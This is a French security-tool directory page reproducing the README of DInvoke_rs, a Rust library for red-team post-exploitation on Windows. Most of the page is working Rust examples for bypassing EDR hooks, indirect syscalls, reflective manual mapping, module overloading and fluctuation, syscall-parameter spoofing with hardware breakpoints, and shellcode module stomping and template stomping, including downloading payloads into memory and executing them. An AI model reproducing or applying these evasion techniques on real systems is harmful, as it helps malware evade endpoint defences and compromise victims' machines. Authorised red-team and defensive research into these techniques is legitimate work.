Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
DInvoke_rs — Invoquer dynamiquement du code non managé arbitraire | Kitploit
Outils/GitHubGitHub/kudaes/dinvoke_rs
Évasion IDS/IPSShellcodePost-ExploitationAnalyse de BinairesRed TeamingDéveloppement de Charges Utiles
GitHubkudaes/dinvoke_rs

DInvoke_rs

Invoquer dynamiquement du code non managé arbitraire

Voir le dépôt
36643il y a 1 moisVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

DInvoke_rs

Port Rust de Dinvoke. DInvoke_rs peut être utilisé à de nombreuses fins, comme l'analyse de PE, la résolution dynamique de fonctions exportées, le chargement dynamique de plugins PE au runtime, l'évasion de hooks API et plus encore.

Fonctionnalités :

  • Résoudre et invoquer dynamiquement des API Windows non documentées depuis Rust.
  • Primitives permettant une évasion stratégique des hooks API.
  • Syscalls indirects. x64 uniquement
  • Mapper manuellement des modules PE depuis le disque ou directement depuis la mémoire.
  • Parsing des en-têtes PE.
  • Mapper des modules PE dans des sections adossées à des modules arbitraires sur disque. Pas Opsec
  • Fluctuation de modules pour masquer les PE mappés (concurrence prise en charge). Pas Opsec
  • Spoofing des paramètres de syscalls via un filtre d'exceptions + des points d'arrêt matériels. x64 uniquement
  • Module stomping et fluctuation de shellcode.
  • Template stomping.

Crédits

Tout le crédit revient aux créateurs de l'implémentation C# originale de cet outil :

  • The Wover
  • FuzzySec (b33f)
  • cobbr

Sommaire

  • Resolve exported function
  • Dynamically invoke unmanaged code
  • Execute Indirect Syscall
  • Manually map a PE from disk or memory
  • Overload memory section
  • Module fluctuation
  • Use hardware breakpoints to spoof syscall parameters
  • Module stomping and Shellcode fluctuation
  • Template stomping

Utilisation

Importez cette crate dans votre projet en ajoutant la ligne suivante à votre cargo.toml :```rust [dependencies] dinvoke_rs = "0.2.2"

root@kitploit:~
# Exemples
## Résolution des API exportées

L'exemple ci-dessous montre comment utiliser DInvoke_rs pour trouver et appeler dynamiquement les exports d'une DLL (`ntdll.dll` dans ce cas).

1) Obtenir l'adresse de base de ntdll.
2) Utiliser `get_function_address()` pour trouver un export dans `ntdll.dll` par nom. Ceci est réalisé en parcourant et en analysant l'EAT de la DLL.
3) Vous pouvez également trouver un export par ordinal en appelant `get_function_address_by_ordinal()`.```rust

fn main() {

    // Dynamically obtain ntdll.dll's base address. 
    let ntdll = dinvoke_rs::dinvoke::get_module_base_address("ntdll.dll");

    if ntdll != 0 
    {
        println!("ntdll.dll base address is 0x{:X}", ntdll);
        
        // Dynamically obtain the address of a function by name.
        let nt_create_thread = dinvoke_rs::dinvoke::get_function_address(ntdll, "NtCreateThread");
        if nt_create_thread != 0
        {
            println!("NtCreateThread is at address 0x{:X}", nt_create_thread);
        }

        // Dynamically obtain the address of a function by ordinal.
        let ordinal_8 = dinvoke_rs::dinvoke::get_function_address_by_ordinal(ntdll, 8);
        if ordinal_8 != 0 
        {
            println!("The function with ordinal 8 is located at addresss 0x{:X}", ordinal_8);
        }
    }   
}

Exécution de code non managé

Dans l'exemple ci-dessous, nous utilisons DInvoke_rs pour appeler dynamiquement RtlAdjustPrivilege afin d'activer SeDebugPrivilege pour le jeton du processus courant. Ce type d'exécution contournera tous les hooks API présents dans Win32. De plus, il ne créera aucune entrée dans la table d'adresses d'importation du PE final, ce qui rend plus difficile la détection du comportement du PE sans l'exécuter.```rust

fn main() {

root@kitploit:~
// Dynamically obtain ntdll.dll's base address. 
let ntdll = dinvoke_rs::dinvoke::get_module_base_address("ntdll.dll");

if ntdll != 0 
{
    unsafe 
    {
        let func_ptr:  unsafe extern "system" fn (u32, u8, u8, *mut u8) -> i32; // Function header available at data::RtlAdjustPrivilege
        let ret: Option<i32>; // RtlAdjustPrivilege returns an NSTATUS value, which in Rust can be represented as an i32
        let privilege: u32 = 20; // This value matches with SeDebugPrivilege
        let enable: u8 = 1; // Enable the privilege
        let current_thread: u8 = 0; // Enable the privilege for the current process, not only for the current thread
        let e = u8::default(); // https://github.com/Kudaes/rust_tips_and_tricks/tree/main#transmute
        let enabled: *mut u8 = std::mem::transmute(&e); 
        dinvoke_rs::dinvoke::dynamic_invoke!(ntdll,"RtlAdjustPrivilege",func_ptr,ret,privilege,enable,current_thread,enabled); 

        match ret {
            Some(x) => 
            	if x == 0 { println!("NTSTATUS == Success. Privilege enabled."); } 
              	else { println!("[x] NTSTATUS == {:X}", x as u32); },
            None => panic!("[x] Error!"),
        }
    } 
}   

}

root@kitploit:~
## Exécution d'un syscall indirect
Dans l'exemple suivant, nous utilisons DInvoke_rs pour exécuter le syscall correspondant à la fonction `NtQueryInformationProcess`. Puisque la macro `execute_syscall!()` alloue et exécute dynamiquement le shellcode nécessaire pour effectuer le syscall souhaité, tous les hooks présents dans `ntdll.dll` sont contournés. La mémoire allouée est libérée une fois que le syscall retourne, évitant la présence permanente de pages mémoire avec permission d'exécution.```rust

use std::mem::size_of;
use windows::Win32::System::Threading::{GetCurrentProcess, PROCESS_BASIC_INFORMATION};
use dinvoke_rs::data::{NtQueryInformationProcess, PVOID};

fn main() {

    unsafe 
    {
        let function_type:NtQueryInformationProcess;
        let ret: Option<i32>; //NtQueryInformationProcess returns a NTSTATUS, which is a i32.
        let handle = GetCurrentProcess();
        let p = PROCESS_BASIC_INFORMATION::default();
        let process_information: PVOID = std::mem::transmute(&p); 
        let r = u32::default();
        let return_length: *mut u32 = std::mem::transmute(&r);
        dinvoke_rs::dinvoke::execute_syscall!(
            "NtQueryInformationProcess",
            function_type,
            ret,
            handle,
            0,
            process_information,
            size_of::<PROCESS_BASIC_INFORMATION>() as u32,
            return_length
        );

        let pbi: *mut PROCESS_BASIC_INFORMATION;
        match ret {
            Some(x) => 
                if x == 0 {
                    pbi = std::mem::transmute(process_information);
                    let pbi = *pbi;
                    println!("The Process Environment Block base address is 0x{:X}", pbi.PebBaseAddress as u64);
                },
            None => println!("[x] Error executing direct syscall for NtQueryInformationProcess."),
        }  

    }
}

Mappage manuel de PE

Dans cet exemple, DInvoke_rs est utilisé pour mapper manuellement une copie fraîche de ntdll.dll, sans aucun hook EDR. Ensuite, cette copie fraîche de ntdll.dll peut être utilisée pour exécuter n'importe quelle fonction souhaitée.

Ce mappage manuel peut également être exécuté depuis la mémoire (utilisez manually_map_module() dans ce cas), permettant d'effectuer l'injection DLL réflexive classique.```rust

use dinvoke_rs::data::PeMetadata;

fn main() {

root@kitploit:~
unsafe 
{

    let ntdll: (PeMetadata, usize) = dinvoke_rs::manualmap::read_and_map_module(r"C:\Windows\System32\ntdll.dll", true, false).unwrap();

    let func_ptr:  unsafe extern "system" fn (u32, u8, u8, *mut u8) -> i32; // Function header available at data::RtlAdjustPrivilege
    let ret: Option<i32>; // RtlAdjustPrivilege returns an NSTATUS value, which is an i32
    let privilege: u32 = 20; // This value matches with SeDebugPrivilege
    let enable: u8 = 1; // Enable the privilege
    let current_thread: u8 = 0; // Enable the privilege for the current process, not only for the current thread
    let e = u8::default();
    let enabled: *mut u8 = std::mem::transmute(&e); 
    dinvoke_rs::dinvoke::dynamic_invoke!(ntdll.1,"RtlAdjustPrivilege",func_ptr,ret,privilege,enable,current_thread,enabled);

    match ret {
        Some(x) => 
            if x == 0 { println!("NTSTATUS == Success. Privilege enabled."); } 
            else { println!("[x] NTSTATUS == {:X}", x as u32); },
        None => panic!("[x] Error!"),
    }

}

}

root@kitploit:~
## Surcharge de la section mémoire
Dans l'exemple suivant, DInvoke_rs est utilisé pour créer une section mémoire adossée à un fichier, puis pour la surcharger en mappant manuellement un PE. La section mémoire pointera par défaut vers un fichier légitime situé dans `%WINDIR%\System32\`, mais tout autre module leurre peut être utilisé.

Cette surcharge peut également être exécutée en mappant un PE depuis la mémoire (comme le montre l'exemple suivant), ce qui permet d'effectuer la surcharge sans écrire le payload sur le disque.```rust

use dinvoke_rs::data::PeMetadata;

fn main() {

    unsafe 
    {

        let payload: Vec<u8> = your_download_function();

        // This will map your payload into a legitimate file-backed memory section.
        let overload: (PeMetadata, usize) = dinvoke_rs::overload::overload_module(&payload, "").unwrap();
        
        // Then any exported function of the mapped PE can be dynamically called.
        // Let's say we want to execute a function with header pub fn random_function(i32, i32) -> i32
        let func_ptr:  unsafe extern "Rust" fn (i32, i32) -> i32; // Function header
        let ret: Option<i32>; // The value that the called function will return
        let parameter1: i32 = 10;
        let parameter2: i32 = 20;
        dinvoke_rs::dinvoke::dynamic_invoke!(overload.1,"random_function",func_ptr,ret,parameter1,parameter2);

        match ret {
            Some(x) => 
                println!("The function returned the value {}", x),
            None => panic!("[x] Error!"),
        }

    }
}

Fluctuation de module

DInvoke_rs permet de masquer les PE mappés lorsqu'ils ne sont pas utilisés, ce qui rend plus difficile pour l'inspection mémoire des EDR de détecter la présence d'une dll suspecte dans votre processus.

Par exemple, disons que nous voulons mapper une copie fraîche de ntdll.dll afin de contourner les hooks des EDR. Étant donné que deux ntdll.dll dans le même processus pourraient être considérés comme un comportement suspect, nous pouvons mapper ntdll et le masquer dès que nous ne l'utilisons pas. Cela ressemble beaucoup à la technique de fluctuation de shellcode, bien que dans ce scénario, nous puissions tirer parti du fait que nous mappons un PE dans une section mémoire légitime adossée à un fichier, afin de pouvoir remplacer le contenu de ntdll par celui du module leurre original auquel la section fait référence.```rust

use dinvoke_rs::dmanager::Manager;

fn main() {

root@kitploit:~
unsafe 
{
    // The manager will take care of the hiding/remapping process and it can be used in multi-threading scenarios 
    let mut manager = Manager::new();

    // This will map ntdll.dll into a memory section pointing to cdp.dll. 
    // It will return the payload (ntdll) content, the decoy module (cdp) content and the payload base address.
    let overload: ((Vec<u8>, Vec<u8>), usize) = dinvoke_rs::overload::managed_read_and_overload(r"c:\windows\system32\ntdll.dll", r"c:\windows\system32\cdp.dll").unwrap();
    
    // This will allow the manager to start taking care of the module fluctuation process over this mapped PE.
    // Also, it will hide ntdll, replacing its content with the legitimate cdp.dll content.
    let _r = manager.new_module(overload.1, overload.0.0, overload.0.1);

    // Now, if we want to use our fresh ntdll copy, we just need to tell the manager to remap our payload into the memory section.
    let _ = manager.map_module(overload.1);

    // After ntdll has being remapped, we can dynamically call RtlAdjustPrivilege (or any other function) without worrying about EDR hooks.
    let func_ptr:  unsafe extern "system" fn (u32, u8, u8, *mut u8) -> i32; // Function header available at data::RtlAdjustPrivilege
    let ret: Option<i32>; // RtlAdjustPrivilege returns an NSTATUS value, which is an i32
    let privilege: u32 = 20; // This value matches with SeDebugPrivilege
    let enable: u8 = 1; // Enable the privilege
    let current_thread: u8 = 0; // Enable the privilege for the current process, not only for the current thread
    let e = u8::default();
    let enabled: *mut u8 = std::mem::transmute(&e); 
    dinvoke_rs::dinvoke::dynamic_invoke!(overload.1,"RtlAdjustPrivilege",func_ptr,ret,privilege,enable,current_thread,enabled);

    match ret {
        Some(x) => 
            if x == 0 { println!("NTSTATUS == Success. Privilege enabled."); } 
            else { println!("[x] NTSTATUS == {:X}", x as u32); },
        None => panic!("[x] Error!"),
    }

    // Since we dont want to use our ntdll copy for the moment, we hide it again. It can we remapped at any time.
    let _ = manager.hide_module(overload.1);

}

}

root@kitploit:~
## Spoofing des paramètres de syscall
Afin de spoofer les 4 premiers paramètres d'un syscall, DInvoke_rs prend en charge les points d'arrêt matériels en combinaison avec des gestionnaires d'exceptions. Cela permet d'envoyer des paramètres non malveillants à une fonction NT, et après que l'EDR les a inspectés, ils sont remplacés par les paramètres d'origine avant que l'instruction syscall ne soit exécutée. Pour plus d'informations, consultez le dépôt d'où provient l'idée originale : [TamperingSyscalls](https://github.com/rad9800/TamperingSyscalls).

Pour l'instant, cette fonctionnalité est implémentée pour les fonctions `NtOpenProcess`, `NtAllocateVirtualMemory`, `NtProtectVirtualMemory`, `NtWriteVirtualMemory` et `NtCreateThreadEx`. Pour l'utiliser, il suffit d'activer la fonctionnalité, de définir le gestionnaire d'exceptions et d'appeler la fonction souhaitée via Dinvoke.```rust

use dinvoke_rs::data::{THREAD_ALL_ACCESS, ClientId};
use windows::{Win32::Foundation::HANDLE, Wdk::Foundation::OBJECT_ATTRIBUTES};

fn main() {

    unsafe
    {
        // We active the use of hardware breakpoints to spoof syscall parameters
        dinvoke_rs::dinvoke::use_hardware_breakpoints(true);
        // We get the memory address of our function and set it as a VEH
        let handler = dinvoke_rs::dinvoke::breakpoint_handler as usize;
        dinvoke_rs::dinvoke::add_vectored_exception_handler(1, handler);

        let h = HANDLE {0: -1 as _};
        let handle: *mut HANDLE = std::mem::transmute(&h);
        let access = THREAD_ALL_ACCESS; 
        let a = OBJECT_ATTRIBUTES::default(); // https://github.com/Kudaes/rust_tips_and_tricks/tree/main#transmute
        let attributes: *mut OBJECT_ATTRIBUTES = std::mem::transmute(&a);
        // We set the PID of the remote process 
        let remote_pid = 472isize;
        let c = ClientId {unique_process: HANDLE {0: remote_pid as _}, unique_thread: HANDLE::default()};
        let client_id: *mut ClientId = std::mem::transmute(&c);
        // A call to NtOpenProcess is performed through Dinvoke. The parameters will be
        // automatically spoofed by the function and restored to the original values
        // before executing the syscall.
        let ret = dinvoke_rs::dinvoke::nt_open_process(handle, access, attributes, client_id);

        println!("NTSTATUS: {:x}", ret);

        dinvoke_rs::dinvoke::use_hardware_breakpoints(false);
    }
}

Module stomping et Shellcode fluctuation

Le crate overload de Dinvoke_rs permet désormais d'effectuer du module stomping en appelant la fonction managed_module_stomping(). Le premier paramètre de cette fonction est le contenu du shellcode. Les deux autres paramètres modifient le comportement de la fonction, permettant trois chemins d'exécution différents commentés ci-dessous.

À mon avis, la meilleure façon d'utiliser cette fonction est de charger une DLL légitime dans le processus et de laisser Dinvoke déterminer un bon endroit dans cette DLL pour y écraser votre shellcode. Cela se fait en passant l'adresse de base de la DLL comme troisième paramètre de managed_module_stomping(). Le deuxième argument doit être zéro. Ce faisant, Dinvoke parcourra les données d'exception de la DLL à la recherche d'une fonction légitime assez grande pour y écraser le shellcode.```rust let payload_content = download_function(); let my_dll = dinvoke_rs::dinvoke::load_library_a("somedll.dll"); let module = dinvoke_rs::overload::managed_module_stomping(&payload_content, 0, my_dll);

match module { Ok(x) => println!("The shellcode has been written to 0x{:X}.", x.1), Err(e) => println!("An error has occurred: {}", e),
}

root@kitploit:~
Vous pouvez également spécifier l'emplacement exact où vous voulez que le shellcode soit écrasé en passant l'adresse mémoire comme deuxième paramètre :```rust
let payload_content = download_function();
let my_dll = dinvoke_rs::dinvoke::load_library_a("somedll.dll");
let my_big_enough_function = dinvoke_rs::dinvoke::get_function_address(my_dll, "somefunction");
let module = overload::managed_module_stomping(&payload_content, my_big_enough_function, 0);

match module {
     Ok(x) => println!("The shellcode has been written to 0x{:X}.", x.1),
     Err(e) => println!("An error has occurred: {}", e),      
}

Enfin, vous pouvez permettre à Dinvoke de décider automatiquement de l'adresse où le shellcode sera écrasé. Cela se fait en itérant sur les données d'exception de tous les modules chargés jusqu'à trouver une fonction appropriée. Cette option peut entraîner des comportements inattendus, donc je ne la recommande pas vraiment, sauf si vous n'avez pas d'autre option.```rust let payload_content = download_function(); let module = dinvoke_rs::overload::managed_module_stomping(&payload_content, 0, 0);

match module { Ok(x) => println!("The shellcode has been written to 0x{:X}.", x.1), Err(e) => println!("An error has occurred: {}", e),
}

root@kitploit:~
Une fois que le shellcode a été « stompé », vous pouvez utiliser la crate `dmanager` pour masquer/restomper votre shellcode, ce qui permet de réaliser une fluctuation du shellcode :```rust
let payload_content = download_function();
let my_dll = dinvoke_rs::dinvoke::load_library_a("somedll.dll");
let overload = dinvoke_rs::overload::managed_module_stomping(&payload_content, 0, my_dll).unwrap();
let mut manager = dinvoke_rs::dmanager::Manager::new();
let _r = manager.new_shellcode(overload.1, payload_content, overload.0).unwrap(); // The manager will take care of the fluctuation process
let _r = manager.hide_shellcode(overload.1).unwrap(); // We restore the memory's original content and hide our shellcode
 ... 
let _r = manager.stomp_shellcode(overload.1).unwrap(); // When we need our shellcode's functionality, we restomp it to the same location so we can execute it
let run: unsafe extern "system" fn () = std::mem::transmute(overload.1);
run();
let _r = manager.hide_shellcode(overload.1).unwrap(); // We hide the shellcode again

Template stomping

Le template stomping est une variante de la technique de module stomping spécifiquement adaptée aux DLL. Pour l'instant, cette technique ne permet de charger une DLL que dans le processus actuel, les processus distants ne sont pas pris en charge.

L'objectif principal est de créer un template à partir d'une DLL en remplaçant le contenu de la section .text par des données arbitraires, ce qui permet d'écrire le template sur le disque sans déclencher d'alertes. Ce template est conçu de manière à pouvoir être chargé dans le processus via l'appel à LoadLibrary. Ensuite, le contenu original de la section .text peut être téléchargé directement dans la mémoire du processus et écrasé sur la région mémoire correspondante du template. Cette technique peut être exécutée efficacement à l'aide de deux fonctions principales: generate_template et template_stomping.

La fonction generate_template est conçue pour créer le template à partir de la DLL d'origine en extrayant le contenu de la section .text et en le remplaçant par des données arbitraires. Cela garantit que le template conserve sa structure mais ne contient aucun code exécutable significatif, à l'exception des points d'entrée et des callbacks TLS, qui sont remplacés par des instructions assembleur factices mais fonctionnelles. Le contenu original de la section .text est enregistré séparément dans payload.bin, et le fichier template final est enregistré dans template.dll.```rust fn main () { let template = dinvoke_rs::overload::generate_template(r"C:\Path\To\payload.dll", r"C:\Path\To\Output\Directory"); match template { Ok(()) => { println!("Template successfully generated.");} Err(x) => { println!("Error ocurred: {x}");} } }

root@kitploit:~
Ensuite, le modèle peut être enregistré sur disque dans le **système cible** et peut être chargé dans le processus courant en appelant `LoadLibrary`. Une fois le modèle chargé par le SO, l'étape suivante consiste à écraser le contenu exécutable d'origine stocké dans `payload.bin` dans la section `.text` du modèle. Ce processus est effectué par la fonction `template_stomping`, qui écrase le contenu exécutable d'origine dans la bonne région mémoire en prenant soin de tous les détails impliqués dans le processus.```rust

fn main ()
{  
    unsafe
    {
        let mut payload = http_download_payload(); // Download payload.bin content directly to memory
        let stomped_dll = dinvoke_rs::overload::template_stomping(r"C:\Path\To\template.dll", &mut payload).unwrap();
        println!("Stomped DLL base address: 0x{:x}", stomped_dll.1);

        let function_ptr = dinvoke_rs::dinvoke::get_function_address(stomped_dll.1, "SomeRandomFunction");
        let function: extern "system" fn() = std::mem::transmute(function_ptr);
        function();
    }
}

Cette technique permet de charger une DLL dans des régions de mémoire adossées au disque sans écrire le contenu exécutable réel sur le système de fichiers (éliminant le besoin de régions mémoire privées et contournant l'analyse statique/dynamique des EDR) et permet également de conserver une pile d'appels propre pendant l'exécution du code de la DLL, contrairement à ce qui se produit lorsque l'on charge une DLL de manière réflexive.

Télécharger l’outil